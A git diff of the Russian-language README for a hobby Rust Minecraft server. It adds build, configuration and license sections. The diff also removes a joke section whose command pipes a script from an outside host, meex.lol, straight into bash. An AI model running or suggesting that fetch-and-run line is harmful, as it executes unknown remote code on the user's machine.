diff --git a/README.md b/README.md index af82cd6..5b64e94 100644 --- a/README.md +++ b/README.md @@ -1,15 +1,43 @@ # rust_minecraft_server -Простой майнкрафт сервер на расте. Поддерживаемая версия: 1.21.5 () +Простой майнкрафт сервер на расте. Поддерживаемая версия: 1.21.5 (PVN 770) ## Как запустить +Перед тем как запускать, вам нужно получить бинарник, это можно сделать следующими способами: + +### Скачать из релиза + +На данный момент проект находится в разработке, так что релизов нет + +Если хотите собрать последнюю версию сервера вручную, обратитесь к следующему способу. + +### Собрать самим + +Для того чтобы собрать проект самим, вам нужно: + +1. Скачать и установить [Rust](https://www.rust-lang.org/) +2. Скачать исходный код проекта (через zip или `git clone`) +3. Открыть терминал в папке проекта и выполнить следующие команды: + +Для запуска: ```bash cargo run ``` -## Как получить доступ к системе межпланетного противоядерного сдерживания США - +Для сборки (готовый бинарник будет в `target/release`): ```bash -curl -sL https://meex.lol/test/fuck-usa.sh | bash -``` \ No newline at end of file +cargo build -r +``` + +## Конфигурация + +По умолчанию, конфиг будет создан в файле `config.toml` в рабочей директории. Чтобы изменить этот путь, укажите его в первом аргументе к серверу, пример: `./rust_minecraft_server /path/to/config.toml` + +## Лицензия + +Этот проект полностью лицензирован под лицензией WTFPL. Он абсолютно бесплатен и не имеет ограничений в использовании. + +## Содействие + +Если вы хотите помочь проекту, не стесняйтесь отправлять пулл реквесты!